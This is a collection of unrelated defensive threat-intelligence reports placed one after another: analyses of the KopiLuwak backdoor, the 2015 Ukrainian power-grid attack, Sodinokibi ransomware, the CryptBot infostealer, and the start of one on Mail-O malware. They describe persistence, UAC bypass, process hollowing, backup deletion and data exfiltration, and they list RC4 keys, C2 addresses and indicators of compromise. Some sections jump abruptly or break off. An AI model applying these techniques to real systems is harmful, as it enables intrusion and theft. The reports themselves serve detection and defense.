Both of the dropped files have hardcoded names: the JS is named Scr.js while the PDF is named "Save the Date G20 Digital Economy Taskforce 23 24 October.pdf". The decoy in this case is an invitation to save the date for a meeting of the G20’s Digital Economy Taskforce in Hamburg, Germany.
As far as we are aware, this document is not publicly available and so may indicate that an entity with access to the invitation was already compromised. Alternatively, the document may have been legitimately obtained from a recipient. Proofpoint researchers ascertain with medium confidence that the document is legitimate and not fabricated. One piece of evidence suggesting that the document could be authentic is that in the document’s exif metadata, the creator tool is listed as “BE.D4.113.1” which matches another PDF document that appears to have been scanned and is hosted on the Bundesministerium für Wirtschaft und Energie website.
## Scr.js Analysis
Scr.js is essentially a dropper for the actual backdoor in addition to running all the necessary commands to fingerprint the infected system and set up persistence. Scr.js first creates a scheduled task named PolicyConverter for persistence. This scheduled task should execute shortly after being created and is then scheduled to run every 10 minutes. The scheduled task is executed with the following parameters: “appidpolicyconverter.js FileTypeXML gwVAj83JsiqTz5fG”. Similar to the older KopiLuwak variant, the second parameter is used as an RC4 key to decrypt the encrypted JS backdoor code contained in appidpolicyconverter.js. Next, Scr.js decodes a large base64 blob containing the JS backdoor decryptor and saves it to the following location: “C:\Users\[executing user]\AppData\Roaming\Microsoft\Protect\appidpolicyconverter.js”. Lastly, Scr.js executes various commands to fingerprint details about the infected system. In the older variant of KopiLuwak, these commands were executed directly from the backdoor JS. Now, however, they have been moved to the dropper. Despite moving the machine fingerprinting code to the dropper, all of the commands are the same as in the older sample except for the following three additions:
- dir “%programfiles%\Kaspersky Lab”
- dir “%programfiles(x86)%\Kaspersky Lab”
- tracert www.google.com
Interestingly, the only anti-virus company that is specifically fingerprinted is Kaspersky, which was possibly added as a result of their public analysis of this backdoor. The output from the commands is saved to the following location: “%appdata%\Microsoft\Protect\~~.tmp”.
## appidpolicyconverter.js Analysis
The appidpolicyconverter.js script contains a large string that is first base64-decoded then RC4-decrypted using the supplied parameter as a key (“gwVAj83JsiqTz5fG”) from the executed task. Once the KopiLuwak backdoor code is successfully decrypted, it is then executed with eval(). The decrypted code functions similarly to the original KopiLuwak discussed by Kaspersky with some slight changes. The backdoor still communicates with what appear to be two compromised, legitimate websites using HTTP POST requests.
Differing from the older sample, the HTTP User-Agent is now hardcoded and no longer contains a component unique to each infected machine. Each HTTP POST request sent to the command and control (C&C) will contain information in its client body. The plaintext content is first preceded with a hardcoded key “Prc1MHxF_VB0ht7S”. Next, the key is followed by a separator string “ridid”. Next, the hardcoded key “Prc1MHxF_VB0ht7S” is used to encode the infected system’s OS installation date. If any additional information is being sent to the C&C it will then be appended after the encoded installation date. Finally, the data is encrypted with RC4 using a hardcoded key: “01a8cbd328df18fd49965d68e2879433” and then quoted.
Responses from the command and control are also encrypted using RC4 and the same key. After responses from the C&C are decrypted, they are compared to a list of supported commands. This newer variant of KopiLuwak has several different supported command keywords, including one additional command, giving a total of five commands versus the old variant’s four.
| Command | Description |
|---------|-------------|
| exit | Send the content infected system’s fingerprint info stored in ~~.tmp and exit |
| upld | Exfiltrate content from provided filename (from C2) to C2. Max exfiltrated file size is <= 1048576 bytes (1MB) |
| inst | Two options for this command: -execute provided JS using eval, send contents of ~~.tmp to C2, delete ~~.tmp -save provided content to a file in %Appdata%\Microsoft\Protect\a3q4d.[ext], execute the file, sleep for a random amount of time, delete the file, send the contents of ~~.tmp to C2, and delete ~~.tmp |
| wait | Exit the script. The scheduled task would execute the backdoor again in ~10 minutes |
| dwld | Saves the provided content with provided extension to %Appdata%\Microsoft\Protect\D8chd.[ext]. If successful sends success message to C2. |
The newer variant of KopiLuwak is now capable of exfiltrating files to the C&C as well as downloading files and saving them to the infected machine. Although these capabilities could have been accomplished in the previous variant by executing arbitrary commands, they are now implemented with their own dedicated commands. Despite the added capabilities, we still agree with Kaspersky that this backdoor is likely used as an initial reconnaissance tool and would probably be used as a staging point to deploy one of Turla’s more fully featured implants. We also believe this backdoor will continue to be used in the future as suggested by the continued development of the backdoor itself as well as the new delivery mechanisms.
## Conclusion
Because the samples were obtained from a public malware repository and we have not yet observed them in the wild, the full scope and impact of the attack (or, possibly, a pending attack) cannot be fully assessed. However, for PCs running the .NET framework (which includes most modern Windows operating systems), the potential impact is high:
- The JavaScript dropper profiles the victim’s system, establishes persistence, and installs the KopiLuwak backdoor.
- KopiLuwak is a robust tool capable of exfiltrating data, downloading additional payloads, and executing arbitrary commands provided by the actor(s).
The high profile of potentially targeted individuals associated with the G20 and early reconnaissance nature of the tools involved bear further watching. We have notified CERT-Bund of this activity. We will continue to track the activities associated both with this actor and these new tools and update this blog as details emerge.
## Indicators of Compromise (IOCs)
**KopiLuwak MSIL Dropper**
7481e87023604e7534d02339540ddd9565273dd51c13d7677b9b4c9623f0440b
**KopiLuwak JS Dropper “Scr.js”**
1c76a66a670a6f69b4fea25ca0ba4885eca9e1b85a2afbab61da3b4a6d52ae19
**KopiLuwak JavaScript Decryptor “appidpolicyconverter.js”**
5698c92fb8fe7ded0ff940c75979f44734650e4f2c852bdb4cbc9d46e7993185
**Benign PDF Decoy “Save the Date G20 Digital Economy Taskforce 23 24 October.pdf”**
c978da455018a73ddbc9e1d2bf8c208ad3ec2e622850f68ef6b0aae939e5d2ab
**KopiLuwak C&C**
hxxp://www[.]huluwa[.]uk/wp-content/plugins/woocommerce/includes/class-wc-log.php
hxxp://tresor-rare[.]com[.]hk/wp-content/plugins/wordpress-seo/vendor/xrstf/composer-php52/lib/xrstf/Composer52/LogsLoader.php
## ET and ETPRO Suricata/Snort Coverage
2827574, ETPRO TROJAN Turla JS/KopiLuwak CnC Beacon M1
2827575, ETPRO TROJAN Turla JS/KopiLuwak CnC Beacon M2 |
# TLP WHITE
## TLP: White
## Analysis of the Cyber Attack on the Ukrainian Power Grid
### Defense Use Case
March 18, 2016
## Preface
This is an analysis by a joint team to provide a lessons learned community resource from the cyber attack on the Ukrainian power grid. The document is being released as Traffic Light Protocol: White (TLP: White) and may be distributed without restriction, subject to copyright controls. This document, the Defense Use Case (DUC), summarizes important learning points and presents several mitigation ideas based on publicly available information on ICS incidents in Ukraine. The E-ISAC and SANS are providing a summary of the available information compiled from multiple publicly available sources as well as analysis performed by the SANS team in relation to this event. This document provides specific mitigation concepts for power system Supervisory Control and Data Acquisition (SCADA) defense, as well as a general learning opportunity for ICS defenders.
Authors, working with the E-ISAC:
- Robert M. Lee, SANS
- Michael J. Assante, SANS
- Tim Conway, SANS
## Summary of Incidents
On December 23, 2015, the Ukrainian Kyivoblenergo, a regional electricity distribution company, reported service outages to customers. The outages were due to a third party’s illegal entry into the company’s computer and SCADA systems. Starting at approximately 3:35 p.m. local time, seven 110 kV and 23 35 kV substations were disconnected for three hours. Later statements indicated that the cyber attack impacted additional portions of the distribution grid and forced operators to switch to manual mode. The event was elaborated on by the Ukrainian news media, who conducted interviews and determined that a foreign attacker remotely controlled the SCADA distribution management system. The outages were originally thought to have affected approximately 80,000 customers, based on Kyivoblenergo’s update to customers. However, later it was revealed that three different distribution oblenergos were attacked, resulting in several outages that caused approximately 225,000 customers to lose power across various areas.
Shortly after the attack, Ukrainian government officials claimed the outages were caused by a cyber attack, and that Russian security services were responsible for the incidents. Following these claims, investigators in Ukraine, as well as private companies and the U.S. government, performed analysis and offered assistance to determine the root cause of the outage. Both the E-ISAC and SANS ICS team were involved in various efforts and analyses in relation to this case since December 25, 2015, working with trusted members and organizations in the community.
This joint report consolidates the open source information, clarifying important details surrounding the attack, offering lessons learned, and recommending approaches to help the ICS community repel similar attacks. This report does not focus on attribution of the attack.
## Attacker Tactics Techniques and Procedures Description
Direct attribution is unnecessary to learn from this attack and to consider mitigation strategies; it is only necessary to use the mental model of how the cyber actor works to understand the capabilities and general profile against which one is defending. The motive and sophistication of this power grid attack is consistent with a highly structured and resourced actor. This actor was co-adaptive and demonstrated varying tactics and techniques to match the defenses and environment of the three impacted targets. The mitigation section of this document provides mitigation concepts related to the attack and how to develop a more lasting mitigation strategy by anticipating future attacks.
### Capability
The attackers demonstrated a variety of capabilities, including spear phishing emails, variants of the BlackEnergy 3 malware, and the manipulation of Microsoft Office documents that contained the malware to gain a foothold into the Information Technology (IT) networks of the electricity companies. They demonstrated the capability to gain a foothold and harvest credentials and information to gain access to the ICS network. Additionally, the attackers showed expertise, not only in network connected infrastructure, such as Uninterruptable Power Supplies (UPSs), but also in operating the ICSs through supervisory control systems, such as the Human Machine Interface (HMI).
Finally, the adversaries demonstrated the capability and willingness to target field devices at substations, write custom malicious firmware, and render the devices, such as serial-to-ethernet converters, inoperable. In one case, the attackers also used telephone systems to generate thousands of calls to the energy company’s call center to deny access to customers reporting outages. However, the strongest capability of the attackers was not in their choice of tools or in their expertise, but in their capability to perform long-term reconnaissance operations required to learn the environment and execute a highly synchronized, multistage, multisite attack.
## ICS Cyber Kill Chain Mapping
The ICS Cyber Kill Chain was published by SANS in 2015 by Michael Assante and Robert M. Lee as an adaptation of the traditional cyber kill chain developed by Lockheed Martin analysts as it applied to ICSs. The ICS Cyber Kill Chain details the steps an adversary must follow to perform a high-confidence attack on the ICS process and/or cause physical damage to equipment in a predictable and controllable way.
The attack on the Ukrainian power grid followed the ICS Cyber Kill Chain completely throughout Stage 1 and Stage 2. The attack gained access to each level of the ICS, with the ICS Cyber Kill Chain plotted alongside a segmentation/hierarchy model (e.g., modified Purdue Model). Completing Stage 1 entails a successful cyber intrusion or breach into an ICS system, but is not characterized as an ICS attack. Completion of Stage 2 completed the ICS Kill Chain, resulting in a successful cyber attack that led to an impact on the operations of the ICS.
### ICS Cyber Kill Chain Mapping – Stage 1
The first step in Stage 1 is Reconnaissance. There were no reports of observed reconnaissance having taken place prior to targeting the energy companies. However, an analysis of the three impacted organizations shows they were particularly interesting targets due to the levels of automation in their distribution system, enabling the remote opening of breakers in a number of substations. Additionally, the targeting and final attack plan for the electricity companies in general were highly coordinated, which indicates that reconnaissance took place at some point. This was very unlikely to have been an opportunistic attack.
The second step is Weaponization and/or Targeting. Targeting would normally take place when no weaponization is needed; such as directly accessing internet connected devices. In this attack, it does not appear that targeting of specific infrastructure was necessary to gain access. Instead, the adversaries weaponized Microsoft Office documents (Excel and Word) by embedding BlackEnergy 3 within the documents. Samples of Excel and other office documents have been recovered from the broader access campaign that targeted a multitude of organizations in Ukraine, including Office documents used in the specific attack against the three electricity companies.
During the cyber intrusion stage of Delivery, Exploit, and Install, the malicious Office documents were delivered via email to individuals in the administrative or IT network of the electricity companies. When these documents were opened, a popup was displayed to users to encourage them to enable the macros in the document. Enabling the macros allowed the malware to exploit Office macro functionality to install BlackEnergy 3 on the victim system and was not an exploit of a vulnerability through exploit code. There was no observed exploit code in this incident. The theme of using available functionality in the system was present throughout the adversary’s kill chain.
Upon the Install step, the BlackEnergy 3 malware connected to command and control (C2) IP addresses to enable communication by the adversary with the malware and the infected systems. These pathways allowed the adversary to gather information from the environment and enable access. The attackers appear to have gained access more than six months prior to December 23, 2015, when the power outage occurred. One of their first actions happened when the network was to harvest credentials, escalate privileges, and move laterally throughout the environment.
In summary, Stage 2 consisted of the following attack elements:
- Supporting attacks:
- Schedule disconnects for UPS systems
- Telephonic floods against at least one oblenergos’ customer support line
- Primary attack: SCADA hijack with malicious operation to open breakers
- Amplifying attacks:
- KillDisk wiping of workstations, servers, and an HMI card inside of an RTU
- Firmware attacks against Serial-to-Ethernet devices at substations
It is extremely important to note that neither BlackEnergy 3, unreported backdoors, KillDisk, nor the malicious firmware uploads alone were responsible for the outage. Each was simply a component of the cyber attack for the purposes of access and delay of restoration. The actual cause of the outage was the manipulation of the ICS itself and the loss of control due to direct interactive operations by the adversary. The loss of view into the system through the wiping of the SCADA network systems simply delayed restoration efforts. |
# Sodinokibi Malware Report
**Authors:** Jorge Barelles Menes | Pablo Cardós Marqués
**Date:** 19 | 06 | 2020
**Contributors:** Aaron Jornet Sales | Javier Muñoz Alcázar
## 1. Executive Report
This document contains an analysis of a sample of the ransomware Sodinokibi. The ransomware Sodinokibi, also known as REvil, first appeared in the second half of 2019. This ransomware is characterized by its advanced evasion capacity and the large number of measures that it takes to avoid being detected by antivirus engines. It has also been observed that this ransomware exploits a vulnerability in Oracle Weblogic servers. This characteristic makes Sodinokibi something of an anomaly. However, like many other ransomware families, Sodinokibi is a RaaS (ransomware as a service), which means that while one group maintains and writes the code, another group delivers the malware. Throughout 2019, there was a progressive increase in the number of companies being attacked by cybercriminals using this ransomware.
Sodinokibi has attacked a wide range of targets in a large number of countries. However, the focus of attacks with this ransomware has been Europe, the USA, and India. Spain is ninth on the list of most affected countries. Despite having been discovered in the first half of 2019, Sodinokibi was the most lucrative ransomware in the last quarter of the year, earning almost 8% more than Ryuk.
## 2. Features
### 2.1. General Features
JavaScript loader: JavaScript, which launches this ransomware, isn’t in our events, but the detection is registered on our systems, categorized as malware since 05/01/2019.
**MD5:** 3E974B7347D347AE31C1B11C05A667E2
On VirusTotal (VT), you can see that most engines classify it as a dropper. You can also see that other analysis platforms have detected it as the JS that launches Sodinokibi.
### 2.1.1. Technical Characteristics of Loader
This JavaScript creates other scripts and obfuscated DLLs, which it launches on the system. The main aim of these is to bypass the UAC to obtain privileges and hollow the process in order to run Sodinokibi. We go into more detail about this in point 4, “Interaction with Infected System”.
- In phase 1, it carries out this bypass using CompMgmtLauncher, which always searches for a registry key, which, by default, does not exist. This means it will be created with the content of one of the PowerShells (PS) that it wants to execute with administrator privileges.
- In phase 2, it will carry out the process hollowing. It will try to do this on the Ahnlab antivirus. Given that it is likely that this process does not exist, another PS instance will be created on another process to perform the action.
### 2.2. Characteristics of the Sodinokibi Payload
There are many variants of the payload, as well as of the loader, due to the fact that Sodinokibi is a RaaS (Ransomware as a Service). This malware first appeared in 2019: On 04/26/2019 it was first seen in attacks on several companies.
#### 2.2.1. Technical Characteristics of Sodinokibi Payload
The payload is an executable loaded in memory. Its main aim is to perform the most important task of this ransomware: encrypting the files and demanding a ransom for them. Within this executable, there are distinct parts where you can see how it achieves all of this. Its most important characteristics are:
- Gathering the Import Address Table (IAT), where it will dynamically obtain all the imports that it will use throughout the process.
- Exploit for CVE 2018-8453, a vulnerability in Win32k, which will be used if administrator privileges still haven’t been achieved.
### 3. Entry Vector
The most common way for Sodinokibi to get onto systems is through a malicious email sent as part of a phishing campaign. This email contains a link where the user will download a .zip file containing the Sodinokibi loader. The attackers distribute the malware this way since it makes it easier to reach victims. On the other hand, distributing the malware within a .zip file helps it to get around some malware protections on the computer that is to be infected. The .zip file normally contains an obfuscated JavaScript file.
## 4. Interaction with Infected System
Firstly, we can see the obfuscated JavaScript, which will be responsible for dropping, deobfuscating, and launching a PS script. When executed, it launches a wscript.exe to launch the JavaScript (JS) which, in turn, will execute a PS that will perform a bypass to escalate privileges. This is carried out with a file generated in %temp%, called jurhrtcbvj.tmp. It then launches a PS to deobfuscate the tmp and run it. The PowerShell is launched by wscript.exe.
When the PowerShell has finished executing, it will try to contact one of the 3 domains. The dropped tmp jurhrtcbvj.tmp is also an obfuscated script, which first tries to deobfuscate with the sign “!” and then by loading a base64. By replacing the execution scripts with what was written in the file, we managed to deobfuscate the script. The file obtained is a .NET module that contains a function called Install1(), which will load in memory and execute the content of an obfuscated variable in base64.
### 4.1. Phase 1: Privileges
Once the base64 is deobfuscated, a DLL is obtained, which is responsible for bypassing the UAC. Firstly, the DLL checks the privileges that the processes have, since it will need administrator permissions to perform all the actions. To do this, it checks what group of users the token belongs to and, therefore, what permissions it has.
This step serves to check whether the process used has administrator permissions, since when it is executed, it does not have sufficient permissions and must elevate them. This is the step before escalating UAC permissions.
We reach the bypass and find two ways of carrying it out. The first function uses CompMgmtLauncher to carry out the privilege scaling if it hasn’t been able to carry out this scaling already. Since it could be patched, it will be carried out using DelegateExecute with ComputerDefaults.exe, another very similar technique.
### 4.2. Phase 2: Process Hollowing
The second loader is used to load the final payload, trying to hollow the process on the Ahnlab antivirus. If the computer doesn’t contain this process, the executable creates another instance of PowerShell where it will try to hollow another process.
Once we have the payload, we are left with the last part of the ransomware. The main diagram of its phases includes:
- GetLibraries: This function dynamically loads libraries that will later be used.
- CreateMutex: Creates a Mutex.
- CheckExp: Checks if it needs to escalate privileges.
- Exploit: Carries out Exploit CVE 2018-8453.
- GetProcessRun: Obtains and launches Explorer.exe.
- PrepareCipher: Carries out all of Sodinokibi’s tasks, obtains Json, executes language lists, lists of processes to end, deleting ShadowCopies, etc.
### 5. Sodinokibi
After the two loader phases, we get the MD5 payload: B488BDEEAEDA94A273E4746DB0082841, which is the ransomware Sodinokibi, which is obfuscated and has no import. This means that the imports will have to be obtained dynamically.
### 5.1. Obtaining Import Address Table (IAT)
In the main function, it carries out a call to two functions. The first of these has more code, and the second carries out a dynamic call. This call is an ExitProcess, which means that the important actions are carried out in the first call.
In the first function, the first thing carried out is to dynamically import the functions of the system that it is going to use. To obtain them, it uses a loop to call a function, changing the entry parameters.
### 5.2. Preparation and Mutex
After creating the IAT, it checks to see if it is executing in an instance of itself on the system. To do this, it uses the Mutex function, using a string that it deobfuscates as an identifier.
### 5.3. Privilege Scaling Exploit CVE 2018-8453
Once it has checked the Mutex, it checks its settings file to see whether or not it has to scale privileges. This file is a Json that extracts one of its sections. The parameter that indicates if it needs to scale privileges is exp. If it is false, it won’t scale privileges.
### 5.4. Process Securing
We then get to the function, renamed GetProcessRun. We can see that it obtains a process handle (GetCurrentProcess). It carries out all operations correctly, as, when it calls the functions, a 1 is returned. This means that the processes are being opened correctly.
### 5.5. TXT and JSON
In the following routine, one of the most important in the execution, we see that it will obtain relevant information, such as the file extension and the user name. The computer name, the domain, the language, the version of the OS, disk space, etc.
### 5.6. List of Excluded Languages
For the keyboard, we can see that it uses a list of exclusions. It obtains a list with the identifiers for the keyboard layouts using GetKeyboardLayoutList, where it will go through the languages to check that they are allowed.
### 5.7. List of Processes to Terminate
In this case, it takes a “photo” of the processes that are running on the system. It will go through them and compare them with processes specified in the “prc” field on the JSON. If they coincide, they are terminated.
### 5.8. Deleting ShadowCopies
Here you can see how it deobfuscates interesting strings, which it will execute later on. The most important string is vssadmin.exe, which deletes system backups.
### 5.9. Emptying Folders
This function goes through the folders on our system, emptying them to later launch the .txt, leaving only encrypted files and a .txt with instructions in the folders. It will then begin encryption.
### 5.10. Encryption
The encryption consists of four parts:
1. Queue with CompletionIOPort
2. Preparation of Keys
3. Encryption of files (Salsa20)
4. Release of file, key written at the end of file and renamed.
### 5.11. Bitmap
The function to prepare the bitmap that it sets as the computer’s background creates a compatible bitmap. It is constructed using a loop, adding characters and the final sentence that will send us to the ransom note.
### 5.12. Connection to C2 Server
Once it has changed the background, it will try to make connections to C2 servers. Its main aim will be to send information about the victim to these servers.
## 6. Ransom
In order to rescue our files, once we’ve read the note left in one of the files where the ransomware has been, we need to download a TOR browser, introduce the key left in the document, and we’ll be given instructions on how to recover our files. To do this, we have to make a payment in bitcoins or Monero within 7 days.
## 7. IOC
- **MD5:**
- 3E974B7347D347AE31C1B11C05A667E2
- B488BDEEAEDA94A273E4746DB0082841
- BED6FC04AEB785815744706239A1F243
- 1CE1CA85BFF4517A1EF7E8F9A7C22B16
- 1524B237E65D52AA7E2ADD5DBDCC7C05
- A81961697199A3F9524A0F874E281612
- 512B538CE2C40112009383AE70331DCF
- E6566F78ABF3075EBEA6FD037803E176
- **Ransom File:** `<random_hash>info.txt`
- **Desktop Bitmap File:** `<random_hash>.bmp`
- **Examples of Encrypted File Extensions:**
- `*.jpg.<random_hash>`
- `*.png.<random_hash>`
- `*.reg.<random_hash>`
- `*.xml.<random_hash>`
- **Related URLs:**
- suitesartemis.gr
- rename.kz
- jefersonalessandro.com
- banukumbak.com
- pourlabretagne.bzh
- azerbaycanas.com
- lesyeuxbleus.net
- brannbornfastigheter.se
- kryddersnapsen.dk
## 8. References
1. “Unos hackers secuestran archivos del Ayuntamiento de Zaragoza en un ciberataque.” Published 11/20/2019
2. “RANSOMWARE CIERRA UNA EMPRESA FABRICANTE DE PIEZAS DE AUTO CON MÁS DE 100 AÑOS DE ANTIGÜEDAD; MÁS DE 4 MIL EMPLEOS PERDIDOS” Published 1/24/2020
3. “McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us” Published 10/2/2019
4. “ThreatList: Ransomware Costs Double in Q4, Sodinokibi Dominates” Published 1/24/2020 |
# Threat Thursday: CryptBot Infostealer Masquerades as Cracked Software
CryptBot is back. A new and improved version of the malicious infostealer has been unleashed via compromised pirate sites, which appear to offer “cracked” versions of popular software and video games. Making news most recently for an outbreak in early 2022, the malware first appeared in the wild in 2019, and it is now actively changing its attack and distribution methods. Most notably, recent versions have been significantly streamlined to include only infostealing functionality, contained in a much smaller package than before.
CryptBot targets sensitive user data such as browser login information, cryptocurrency wallets, stored credit card information, passwords, and more. The gathered information is sent back to a command-and-control (C2) address, to be used by the attacker for financial gain.
## Risk & Impact
### Compromised and Cracked Websites
CryptBot has recently been hosted and distributed via compromised webpages that appear to offer cracked versions of popular video games and other software. Threat actors commonly bundle their Trojanized executables this way to lure their victims into unknowingly downloading and executing malicious code. Cracked software typically refers to commercial software packages that have been modified to give people free access to functionality and features. Users seeking this pirated software tend to be less risk-conscious, making them particularly attractive targets for malware. Threat actors often use search engine optimization (SEO) techniques to help push these compromised websites to victims.
## Technical Analysis
The attack chain for CryptBot begins when the victim visits a compromised webpage and is lured into downloading an SFX file, such as the one pictured, which is masquerading as the latest version of Adobe Photoshop. Once the victim downloads what they assume is cracked software, an SFX file called "7ZSfxMod_x86.exe” is dropped to their machine. Once the archive file is launched, a folder with the naming scheme “7ZipSfx.000” is placed into the victim’s %Temp% directory. The numbers used in the naming scheme for this folder vary based on the number of times the malware has been launched. For example, executing the archive file a second time will result in an additional folder called “7ZipSfx.001” being placed in the same directory, with the same files included.
This folder contains four files that are used to carry out the next stage of the attack:
- “aeFdOLFszTz.dll” – A legitimate copy of Microsoft® Windows® “ntdll.dll”
- “Avevano.gif” – A BAT script
- “Carne.gif” – An obfuscated AutoIT script
- “Raccontero.exe” – An AutoIT v3 executable compiler
As seen, two of these files are displayed as .GIF files. However, these files are in fact malicious scripts using the .GIF extension to masquerade as image files. The file extensions used vary, depending on the version of CryptBot downloaded by the victim. Different variants analyzed have also been observed using .MP3 and .WMV extensions.
A copy of “AutoITv3.exe” is also dropped to the folder as “Raccontero.exe.” This tool is an interpreter that is part of AutoIT, which is a freeware programming language for Windows-based devices. This tool is intended for use in automating services via scripts; however, it has frequently been abused by many different malware families.
The structure and contents of the BAT script, such as obfuscated variables, can be seen. The script performs a scan against a task list referencing two antivirus (AV) products, “BullGuardCore” and “Panda Cloud Antivirus.” If the AV products are present, the malware will perform a “sleep” function to delay execution and aid in bypassing detection.
As part of the initial malware execution chain, the BAT script is used to decrypt the heavily obfuscated AutoIT script, "Carne.gif.” The BAT also copies the AutoIT script to the virtual memory area to run it.
The AutoIT executable compiler “Raccontero.exe” is used to run "Carne.gif." The filename of the script is supplied as an argument. This spawns the AutoIT process “Raccontero.exe.pif,” which loads the malicious CryptBot binary into memory.
## Capabilities
Once the malicious payload is executed, CryptBot can begin fulfilling its main function of harvesting and exfiltrating sensitive information from the victim’s machine. It begins by searching the machine for various user and system information to steal. Gathered data is stored in a directory within the user’s %Temp% folder. The information is saved in this directory until it is sent to the C2 server, then it is deleted.
The data that CryptBot searches for includes the following:
- Cryptocurrency wallet details
- Login credentials
- Form data saved to the browser
- Cookies
- Browser history
- Credit card details
- Files containing sensitive data
- OS and hardware information
- A list of installed programs
The victim’s data is stored in a zipped TXT file within the %Temp% directory. The malware then reaches out to the C2 server, which in the case of this sample, is located at "rygvpi61[.]top/index.php.” The stolen data is exfiltrated back to the attacker and the folder containing the sent information is wiped from the victim’s machine.
CryptBot contains a second hardcoded C2 that can be used for downloading additional malware.
## Latest Variant
The very latest version of CryptBot was first spotted in the wild in early 2022, with a few notable differences from previous variations. Overall, it appears that the threat actor has decided to trim the file, so it only includes the core functionality necessary for successful data exfiltration. One of the features removed is the anti-sandbox capabilities used in previous versions.
The latest version of CryptBot also does not steal screenshots of the victim’s desktop, nor does it perform self-deletion of the malicious files used. The current version deletes only gathered data after successfully performing data exfiltration, rather than its own files. The obfuscation methods used in this version also differ from older variants of CryptBot. The malicious BAT script now in use contains a higher level of obfuscation, using encrypted variables to help impede analysis by threat researchers.
Previous versions of this infostealer contained two C2 addresses that were used for data exfiltration and one address used to retrieve additional malware, whereas the version analyzed here has been limited to one dedicated address for exfiltration and one for additional downloads. The latest version of CryptBot has also been modified to target all versions of Google Chrome™, including the newest version, Chrome™ v96.
## Conclusion
CryptBot has thus far only been observed targeting Windows devices. This is likely because the malware’s infection vector uses pirated websites offering cracked software, which is not as common on other operating systems such as Mac OS X and Linux®. These other operating systems make a less lucrative target for threat actors who use this particular distribution method.
The best mitigation tactic against CryptBot is for users to be extra vigilant when visiting websites to download new software, and only trusting download links from legitimate vendors rather than third-party or pirate websites.
## YARA Rule
The following YARA rule was authored by the BlackBerry Research & Intelligence Team to catch the threat described in this document:
```yara
import "pe"
rule CryptBot {
meta:
description = "Detects 2022 CryptBot Through Imphash"
author = "BlackBerry Threat Research Team"
date = "2022-02-26"
license = "This YARA rule is provided under the Apache License 2.0 and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
strings:
$s1 = "7z SFX"
condition:
(
//PE File
uint16(0) == 0x5a4d and
//Imphash
pe.imphash() == "e55dbecdaf2c7cc43f3d577e70c6c583" or
pe.imphash() == "27fc501de77f5768cac058a2a9512c3a" or
pe.imphash() == "fda990324138bdc940f9020ce3e8d5fc" or
pe.imphash() == "997edafa1e226ba6317ec804803f9a57" or
pe.imphash() == "4b3cfc81e94566bb0e35b6156e51fbd5" and
//All Strings
all of ($s*)
)
}
```
## Indicators of Compromise (IoCs)
**Hash**
53d8d466679a01953aab35947655a8c1a2ff3c19ac188e9f40e3135553cf7556
**Filenames**
- 7ZipSfx.000 – Initial folder dropped into Temp directory
- aeFdOLFszTz.dll – A legitimate copy of Microsoft Windows “ntdll.dll"
- Avevano.gif – BAT Script
- Carne.gif – Obfuscated AutoIT Script
- Raccontero.exe – AutoIT Executable Compiler
**C2**
- rygvpi61[.]top/index[.]php – Exfiltration address
- gewuib08[.]top/download.php?file=scrods[.]exe – Download address
If you’re battling this malware or a similar threat, you’ve come to the right place, regardless of your existing BlackBerry relationship. The BlackBerry Incident Response team is made up of world-class consultants dedicated to handling response and containment services for a wide range of incidents, including ransomware and Advanced Persistent Threat (APT) cases. We have a global consulting team standing by to assist you providing around-the-clock support, where required, as well as local assistance. |
# ThunderCats Hack the FSB | Your Taxes Didn’t Pay For This Op
**Juan Andrés Guerrero-Saade**
## Key Findings
This research focuses on the ‘Mail-O’ malware used against the FSB and other Russian government organizations, detailed in the May 2021 FSB NKTsKI and Rostelecom-Solar report. Early armchair commentary presumed that given the targets, this attack would undoubtedly be the work of a Western government, Five Eyes, or the United States. Our analysis disproves that hypothesis. Instead, we present the argument that the Mail-O malware is a variant of a relatively well-known malware called PhantomNet or SManager used by a threat actor ‘TA428’. Previous reporting on TA428 points to Chinese origin and details a history of attacks against South East Asian and Russian targets.
### Actor Disambiguation
- **Related actors:** TA428, suspected IronHusky
- **Related operations:** Operation SignSight, Operation LagTimeIT
- **Related malware:** PhantomNet, SManager, TManger, CoughingDown
In May 2021, the Russian Federal Security Service’s National Coordination Center for Computer Incidents (NKTsKI) in coordination with Rostelecom announced that several Russian government institutions had been victims of an APT campaign. While the Russian government has made a similar announcement before, it’s the first time they’ve accompanied it with a moderately detailed technical analysis. Several researchers, myself included, jumped on the opportunity to write our YARA rules and hope for a glimpse at the culprit. The InfoSec twitterverse needed no such artifacts as blind speculation immediately pointed at a Western government, Five Eyes, or the United States as de facto culprits. I think we’ll be relieved to find out that was most likely not the case – if solely because we’ve come to expect a higher standard for Western malware development.
Initial attempts to find the samples were fruitless but that changed this past weekend as some kind soul (or more likely a bulk autosubmitter) uploaded a copy of the ‘Mail-O’ malware to VirusTotal. We track this activity under the name ‘ThunderCats’.
## Technical Analysis
- **SHA256:** 603881f4c80e9910ab22f39717e8b296910bff08cd0f25f78d5bff1ae0dce5d7
- **SHA1:** b7c1ec9484c4c2dcd01f861eeaa3b915c3e3312e
- **MD5:** d58b95f8413f784552d7fdadbb621243
- **Size:** 2.82 MB
- **Compilation Timestamp:** 2019-12-20 02:13:01
- **First Submitted:** 2021-06-05 05:22:04
In line with the findings of the NKTsKI-Rostelecom report, the Mail-O malware acts as a downloader with a thin veneer of similarity to the legitimate Mail.ru Disk-O software. The disguise consists of a version number (“19.05.0045”) lifted from a legitimate Disk-O executable and the use of a real Mail.ru to post victim details and host a next stage payload. The executable is bulked up to 2.8MB by statically linking both libcurl 7.64.1 and OpenSSL. Focus becomes important to avoid going down a pointless rabbithole of reversing unrelated open-source code. For that reason, we should focus primarily on the exported functions.
The Mail-O malware exports two functions, **Entery** and **ServiceMain**:
### Mail-O: ServiceMain
The ServiceMain function takes a service name as an argument and attempts to register a service control handler with a specific HandlerProc function meant to check and set the status of that service. With a valid service status handle, Mail-O detaches the calling process from its console, changes the service status values to reflect its current running state, and calls the Entery function. Note the ServiceMain function with the debug string “ServiceMain Load” – a template that comes into play in looking for connections to other malware.
### Mail-O: Entery
The Entery function is called at the end of ServiceMain, but it can also be independently invoked. It checks for the presence of ‘%AllUsersProfile%PSEXESVC.EXE’ and launches it as a process. This function is registered as a top-level exception filter.
The main Entery logic is orchestrated in the next function. First, Mail-O checks the registry for an existing install of the legitimate Mail.Ru Disk-O software. It decrypts configuration strings and contacts the dispatcher cloud. Mail-O uses the SystemTime to POST the encrypted victim hostname (or in its absence the string “[none]”) and receive a payload. The payload is written to a temporary path before being launched. Mail-O then goes into a sleep loop until a predetermined amount of time.
